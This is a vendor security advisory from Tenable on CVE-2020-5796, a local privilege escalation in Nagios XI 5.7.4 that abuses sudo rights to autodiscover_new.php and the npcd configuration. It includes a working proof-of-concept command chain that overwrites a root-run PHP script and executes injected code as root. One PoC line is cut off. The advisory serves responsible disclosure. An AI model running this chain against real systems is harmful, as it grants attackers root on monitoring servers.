tenable

Nagios XI Local Privilege Escalation

High

← View More Research Advisories

Synopsis

A vulnerability exists in /usr/local/nagiosxi/scripts/components/autodiscover_new.php that allows a local user to modify the permissions of an arbitrary file, resulting in the file being owned by (and writable by) user 'nagios'. This can be exploited by low-privileged users who can execute autodiscover_new.php using 'sudo' (e.g. nagios and apache) - ultimately allowing for execution of arbitrary PHP code with root privileges.

According to the /etc/sudoers file, the 'apache' and 'nagios' users may run the autodiscover_new.php file using sudo with any arguments:

```
User_Alias      NAGIOSXI=nagios
User_Alias      NAGIOSXIWEB=apache
...
NAGIOSXI ALL = NOPASSWD:/usr/bin/php /usr/local/nagiosxi/scripts/components/autodiscover_new.php *
...
NAGIOSXIWEB ALL = NOPASSWD:/usr/bin/php /usr/local/nagiosxi/scripts/components/autodiscover_new.php *
...
```

This means that the nagios and apache users can execute this file with root privileges. Furthermore, the nagios user can exploit this to modify the permissions of root-owned files to allow write access. **Therefore the nagios user is able to overwrite the autodiscover_new.php file and modify its privileges to allow write access. This enables the nagios user to edit autodiscover_new.php and then run arbitrary PHP code as root.**

Moreover, the npcd service runs as the nagios user, but it is writable by the apache user as well. The configuration file can be modified to launch arbitrary binaries with crafted parameters.

```
# ps aux | grep npcd
nagios    1029  0.0  0.0 371248  1004 ?        S    14:14   0:00 /usr/local/nagios/bin/npcd -d -f /usr/local/nagios/etc/pnp/npcd.cfg

# ls -l /usr/local/nagios/etc/pnp/npcd.cfg
-rw-rw-r--. 1 apache nagios 3090 Sep  3 13:02 /usr/local/nagios/etc/pnp/npcd.cfg
```

The /etc/sudoers file also allows the apache user to manage the npcd service using /usr/local/nagiosxi/scripts/manage_services.sh with sudo.

```
User_Alias      NAGIOSXI=nagios
User_Alias      NAGIOSXIWEB=apache
...
NAGIOSXIWEB ALL = NOPASSWD:/usr/local/nagiosxi/scripts/manage_services.sh *
```

Ultimately, the apache user has permission to modify the launch configuration of npcd such that autodiscover_new.php is overwritten with PHP code. This can then be executed with elevated privileges using sudo. While this is a local privilege escalation, it could be exploited in combination with web-based vulnerability.

Proof of Concept (PoC)

Note: this PoC will clobber the contents of /usr/local/nagiosxi/scripts/components/autodiscover_new.php. As nagios or apache user (via web exploit), run the following commands:

```
# overwrite autodiscover_new.php. this will also modify its permissions to be writable by nagios
# will take a moment to complete
sudo /usr/bin/php /usr/local/nagiosxi/scripts/components/autodiscover_new.php --addresses=127.0.0.1/1 --output=/usr/local/nagiosxi/scripts/components/autodiscover_new.php

# stop npcd service
sudo /usr/local/nagiosxi/scripts/manage_services.sh stop npcd

# write to config file
# note the use of curl to copy the file's contents to the vulnerable autodiscover_new.php
echo -e "user = nagios\ngroup = nagios\nlog_type = file\nlog_file = /usr/local/nagios/var/npcd.log\nmax_logfile_size = 10485760\nlog_level = 0\nperfdata_spool_dir = /usr/local/r

# write new autodiscover_new.php file
# note that this is a different autodiscover_new.php than the script containing the vuln
# this file's contents are copied once npcd launches
echo -e "\x3c\x3fphp system('whoami'); \x3f\x3e" > /usr/local/nagiosxi/html/includes/components/autodiscovery/jobs/autodiscover_new.php

# start service. this will write to the autodiscover_new.php
sudo /usr/local/nagiosxi/scripts/manage_services.sh start npcd

# launch it
sudo /usr/bin/php /usr/local/nagiosxi/scripts/components/autodiscover_new.php test
```

Below is a screen shot showing this PoC running inside a PHP file (escalate.php). It simulates the PoC being executed in a web-based environment (e.g. as part of a chained exploit). A call to "whoami" was prepended to demonstrate that the code initially runs as 'apache'.

```
root
```

Notice the end of the output contains 'root'. This indicates that the autodiscover_new.php script executed with root privileges.

Solution

Upgrade to Nagios XI 5.7.5 or newer.

Additional References

https://www.nagios.com/downloads/nagios-xi/change-log/

Disclosure Timeline

09/29/2020 - Tenable asks Nagios if there is a PGP key we should use to encrypt the report.
09/29/2020 - Nagios responds. Tells us how we can send the report.
09/29/2020 - Tenable sends vulnerability report to Nagios. 90-day date is Dec 28, 2020.
10/01/2020 - Tenable follows up to ensure report was received.
10/08/2020 - Tenable follows up again to verify if report was received.
10/19/2020 - Tenable follows up via the Nagios "Contact Us" web form to ensure report was received.
10/20/2020 - Tenable notifies Nagios that we published TRA-2020-58 to cover the vulnerabilities that were patched. We will hold off on publishing the final vulnerability until either a patch is released or we reach the 90-day date.
10/21/2020 - Nagios sends an email. They aren't sure why we haven't received their emails. Asks if this one works.
10/21/2020 - Tenable confirms we received this email.
10/21/2020 - Nagios sends details from previous emails. They are having trouble reproducing the local privilege escalation.
10/21/2020 - Tenable sends a new PoC to help better demonstrate the LPE.
10/28/2020 - Tenable asks for an update.
10/28/2020 - Nagios says PoC makes sense. They are working on a fix which should be out in November. Will send us an update.
10/28/2020 - Tenable thanks Nagios for the update.

Risk Information

CVE ID: CVE-2020-5796
Tenable Advisory ID: TRA-2020-61
Credit: Chris Lyne

CVSSv3 Base / Temporal Score: 7.8 / 7.0
CVSSv3 Vector: AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Affected Products: Nagios XI 5.7.4
Risk Factor: High

Advisory Timeline

11/13/2020 - Advisory published.

Building Management Systems
Cloud Security Posture Management
Compliance
Exposure Management
Finance
Healthcare
IT/OT
Ransomware
State / Local / Education
US Federal
Vulnerability Management
Zero Trust
→ View all Solutions

CUSTOMER RESOURCES

Resource Library
Community & Support
Customer Education
Tenable Research
Documentation
Trust and Assurance
Nessus Resource Center
Cyber Exposure Fundamentals
System Status

CONNECTIONS

Blog
Contact Us
Careers
Investors
Events
Media